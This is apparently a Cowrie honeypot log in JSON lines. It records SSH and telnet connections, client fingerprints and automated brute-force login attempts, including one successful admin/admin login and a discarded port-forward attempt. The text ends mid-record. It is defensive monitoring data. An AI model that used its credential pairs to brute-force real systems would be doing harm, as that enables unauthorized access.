{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f03826b87738be788171c733375aae024407ba6f784b03d976676cd615c43ec5","size":28,"shasum":"f03826b87738be788171c733375aae024407ba6f784b03d976676cd615c43ec5","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f03826b87738be788171c733375aae024407ba6f784b03d976676cd615c43ec5 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:42.704693Z","src_ip":"23.97.62.150","session":"aaf3ee7b9cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:42.710052Z","src_ip":"23.97.62.150","session":"aaf3ee7b9cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.27070999145508,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:48.647445Z","src_ip":"69.4.83.194","session":"867ac1f98e77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":56302,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb600769c6e","protocol":"telnet","message":"New connection: 50.62.181.92:56302 (159.203.135.109:23) [session: dcb600769c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:17.127132Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":54817,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb0a1810098","protocol":"ssh","message":"New connection: 20.193.141.133:54817 (159.203.135.109:22) [session: 6eb0a1810098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:21.961986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:21.967436Z","src_ip":"20.193.141.133","session":"6eb0a1810098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:22.156672Z","src_ip":"20.193.141.133","session":"6eb0a1810098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ram","password":"ram","message":"login attempt [ram/ram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:22.946392Z","src_ip":"20.193.141.133","session":"6eb0a1810098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:24.139292Z","src_ip":"20.193.141.133","session":"6eb0a1810098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":2159,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d4004105b3","protocol":"ssh","message":"New connection: 146.70.245.157:2159 (159.203.135.109:22) [session: 30d4004105b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:37.573563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:37.579318Z","src_ip":"146.70.245.157","session":"30d4004105b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:37.872209Z","src_ip":"146.70.245.157","session":"30d4004105b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:38.268726Z","src_ip":"146.70.245.157","session":"30d4004105b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:39.412285Z","src_ip":"146.70.245.157","session":"30d4004105b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58982,"dst_ip":"159.203.135.109","dst_port":22,"session":"69cb63d8ddb4","protocol":"ssh","message":"New connection: 109.237.96.109:58982 (159.203.135.109:22) [session: 69cb63d8ddb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:44.619364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:44.626106Z","src_ip":"109.237.96.109","session":"69cb63d8ddb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:44.720514Z","src_ip":"109.237.96.109","session":"69cb63d8ddb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147147147","message":"login attempt [root/147147147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:45.002628Z","src_ip":"109.237.96.109","session":"69cb63d8ddb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:46.109059Z","src_ip":"109.237.96.109","session":"69cb63d8ddb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63734,"dst_ip":"10.17.0.5","dst_port":22,"session":"99e1cf8a6a8f","protocol":"ssh","message":"New connection: 87.251.64.176:63734 (10.17.0.5:22) [session: 99e1cf8a6a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:47.363411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:47.367521Z","src_ip":"87.251.64.176","session":"99e1cf8a6a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:47.462421Z","src_ip":"87.251.64.176","session":"99e1cf8a6a8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:47.841597Z","src_ip":"87.251.64.176","session":"99e1cf8a6a8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:47.939907Z","session":"99e1cf8a6a8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:48.037035Z","src_ip":"87.251.64.176","session":"99e1cf8a6a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:48.136354Z","src_ip":"87.251.64.176","session":"99e1cf8a6a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0622980594635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:48.189336Z","src_ip":"50.62.181.92","session":"dcb600769c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":41758,"dst_ip":"159.203.135.109","dst_port":22,"session":"869d621d1198","protocol":"ssh","message":"New connection: 171.244.37.103:41758 (159.203.135.109:22) [session: 869d621d1198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:48.509390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:48.515232Z","src_ip":"171.244.37.103","session":"869d621d1198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:48.770441Z","src_ip":"171.244.37.103","session":"869d621d1198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:49.802804Z","src_ip":"171.244.37.103","session":"869d621d1198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:51.056063Z","src_ip":"171.244.37.103","session":"869d621d1198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":53465,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6b9a88214aa","protocol":"ssh","message":"New connection: 223.197.186.7:53465 (159.203.135.109:22) [session: f6b9a88214aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:53.423715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:53.429194Z","src_ip":"223.197.186.7","session":"f6b9a88214aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:55.071643Z","src_ip":"223.197.186.7","session":"f6b9a88214aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:56.622364Z","src_ip":"223.197.186.7","session":"f6b9a88214aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:57.837839Z","src_ip":"223.197.186.7","session":"f6b9a88214aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59802,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2ae026393f9","protocol":"telnet","message":"New connection: 69.4.83.194:59802 (159.203.135.109:23) [session: b2ae026393f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:33:59.866687Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.92","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"2960a2f2afc3","protocol":"ssh","message":"New connection: 205.210.31.92:58114 (10.17.0.5:22) [session: 2960a2f2afc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:00.124792Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56294,"dst_ip":"10.17.0.5","dst_port":22,"session":"5131eec3b50f","protocol":"ssh","message":"New connection: 87.251.79.125:56294 (10.17.0.5:22) [session: 5131eec3b50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:01.017820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:01.022862Z","src_ip":"87.251.79.125","session":"5131eec3b50f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:01.095927Z","src_ip":"87.251.79.125","session":"5131eec3b50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnbyf","message":"login attempt [root/ybrbnbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:01.323271Z","src_ip":"87.251.79.125","session":"5131eec3b50f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:34:01.331114Z","src_ip":"205.210.31.92","session":"2960a2f2afc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffi